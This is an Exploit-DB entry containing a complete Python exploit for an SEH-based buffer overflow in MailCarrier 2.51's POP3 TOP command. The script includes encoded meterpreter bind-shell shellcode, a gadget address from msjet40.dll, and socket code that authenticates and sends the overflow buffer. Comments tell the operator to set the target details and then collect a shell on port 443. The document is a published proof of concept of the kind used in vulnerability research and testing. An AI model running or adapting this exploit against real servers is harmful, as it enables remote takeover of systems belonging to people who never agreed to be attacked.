Exploit-DB #46701
Description: MailCarrier 2.51 - POP3 'TOP' SEH Buffer Overflow
Type: remote
Platform: windows
Date: 2019-04-15
Author: Dino Covotsos

Exploit:
#!/usr/bin/python
# Exploit Title: MailCarrier 2.51 - SEH Remote Buffer Overflow in "TOP" command(POP3)
# Date: 14/04/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.tabslab.com/
# Version: 2.51
# Software Link: N.A
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Created for the Telspace Internship 2019 - SEH Exploit
# POC
# 1.) Change ip, username, password and port in code
# 2.) Run script against target, meterpreter bind shell waiting for you on port 443 on the target machine
#0x1b0d110c : pop ecx # pop ecx # ret 0x08 | ascii {PAGE_EXECUTE_READ} [msjet40.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.00.9514.0 (C:\WINDOWS\system32\msjet40.dll)
#crash at 6175
import sys
import socket
import time

#msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LPORT=443 -e x86/alpha_mixed -b "\x00\xd5\x0a\x0d\x1a\x03" -f c
shellcode = ("\x89\xe1\xdb\xcb\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x69\x6c\x78\x68\x6f\x72\x47\x70\x37\x70\x53\x30\x31\x70\x4f"
"\x79\x58\x65\x66\x51\x49\x50\x50\x64\x4c\x4b\x50\x50\x56\x50"
"\x4e\x6b\x56\x32\x74\x4c\x6e\x6b\x50\x52\x36\x74\x6c\x4b\x63"
"\x42\x36\x48\x66\x6f\x58\x37\x52\x6a\x35\x76\x76\x51\x69\x6f"
"\x6c\x6c\x35\x6c\x51\x71\x33\x4c\x75\x52\x64\x6c\x47\x50\x69"
"\x51\x4a\x6f\x34\x4d\x37\x71\x38\x47\x58\x62\x6c\x32\x62\x72"
"\x70\x57\x6c\x4b\x52\x72\x42\x30\x4e\x6b\x53\x7a\x65\x6c\x6e"
"\x6b\x30\x4c\x42\x31\x33\x48\x78\x63\x31\x58\x55\x51\x4b\x61"
"\x66\x31\x6c\x4b\x50\x59\x37\x50\x67\x71\x38\x53\x6e\x6b\x33"
"\x79\x65\x48\x6a\x43\x75\x6a\x62\x69\x6c\x4b\x56\x54\x6e\x6b"
"\x37\x71\x38\x56\x55\x61\x39\x6f\x4c\x6c\x4a\x61\x78\x4f\x46"
"\x6d\x37\x71\x49\x57\x66\x58\x69\x70\x31\x65\x6b\x46\x55\x53"
"\x51\x6d\x69\x68\x65\x6b\x61\x6d\x51\x34\x74\x35\x6a\x44\x70"
"\x58\x6c\x4b\x30\x58\x55\x74\x65\x51\x6b\x63\x61\x76\x6e\x6b"
"\x76\x6c\x30\x4b\x6e\x6b\x71\x48\x47\x6c\x33\x31\x7a\x73\x4c"
"\x4b\x55\x54\x6c\x4b\x77\x71\x6e\x30\x4b\x39\x32\x64\x34\x64"
"\x36\x44\x61\x4b\x51\x4b\x45\x31\x30\x59\x52\x7a\x42\x71\x59"
"\x6f\x69\x70\x53\x6f\x33\x6f\x72\x7a\x4c\x4b\x34\x52\x78\x6b"
"\x6c\x4d\x63\x6d\x71\x78\x50\x33\x77\x42\x55\x50\x53\x30\x33"
"\x58\x70\x77\x70\x73\x30\x32\x31\x4f\x61\x44\x42\x48\x30\x4c"
"\x54\x37\x76\x46\x34\x47\x59\x6f\x78\x55\x78\x38\x4c\x50\x33"
"\x31\x65\x50\x35\x50\x35\x79\x48\x44\x50\x54\x30\x50\x75\x38"
"\x56\x49\x6f\x70\x62\x4b\x75\x50\x69\x6f\x68\x55\x73\x5a\x74"
"\x4b\x42\x79\x62\x70\x79\x72\x59\x6d\x53\x5a\x63\x31\x52\x4a"
"\x67\x72\x65\x38\x6b\x5a\x74\x4f\x79\x4f\x69\x70\x69\x6f\x48"
"\x55\x5a\x37\x31\x78\x44\x42\x73\x30\x33\x31\x4d\x6b\x6e\x69"
"\x38\x66\x70\x6a\x76\x70\x70\x56\x72\x77\x53\x58\x6f\x32\x59"
"\x4b\x46\x57\x73\x57\x39\x6f\x38\x55\x6d\x55\x39\x50\x43\x45"
"\x61\x48\x53\x67\x65\x38\x4e\x57\x59\x79\x66\x58\x4b\x4f\x6b"
"\x4f\x59\x45\x43\x67\x75\x38\x51\x64\x58\x6c\x77\x4b\x39\x71"
"\x69\x6f\x49\x45\x32\x77\x4d\x47\x42\x48\x43\x45\x32\x4e\x52"
"\x6d\x50\x61\x4b\x4f\x39\x45\x52\x4a\x67\x70\x53\x5a\x74\x44"
"\x73\x66\x42\x77\x53\x58\x43\x32\x7a\x79\x39\x58\x63\x6f\x79"
"\x6f\x6e\x35\x4d\x53\x4c\x38\x65\x50\x73\x4e\x46\x4d\x4e\x6b"
"\x66\x56\x30\x6a\x57\x30\x65\x38\x33\x30\x62\x30\x77\x70\x75"
"\x50\x63\x66\x70\x6a\x65\x50\x52\x48\x61\x48\x39\x34\x61\x43"
"\x69\x75\x69\x6f\x38\x55\x7a\x33\x50\x53\x31\x7a\x45\x50\x66"
"\x36\x51\x43\x76\x37\x31\x78\x43\x32\x69\x49\x6f\x38\x51\x4f"
"\x4b\x4f\x39\x45\x4d\x53\x69\x68\x43\x30\x63\x4e\x73\x37\x67"
"\x71\x4a\x63\x44\x69\x5a\x66\x73\x45\x38\x69\x6a\x63\x6f\x4b"
"\x4a\x50\x4c\x75\x4e\x42\x42\x76\x33\x5a\x37\x70\x63\x63\x69"
"\x6f\x78\x55\x41\x41")

buffer = "A" * 6175 + "\xeb\x11\x90\x90" + "\x0c\x11\x0d\x1b" + "\x90" * 20 + shellcode + "D" * (10000-6883)

print "[*] Mail Server 2.51 POP3 Buffer Overflow in TOP command\r\n"
print "[*] Sending pwnage buffer: with %s bytes..." %len(buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("192.168.0.150", 110))
print s.recv(1024)
print "[*] Sending USERNAME\r\n"
s.send('USER test' + '\r\n')
print s.recv(1024)
print "[*] Sending PASSWORD\r\n"
s.send('PASS test' + '\r\n')
print s.recv(1024)
print "[*] Sending TOP command plus evil buffer\r\n"
s.send('TOP ' + buffer + '\r\n')
s.send('QUIT\r\n')
s.close()
time.sleep(1)
print "[*] Done, check for meterpreter shell on port 443 of the target!"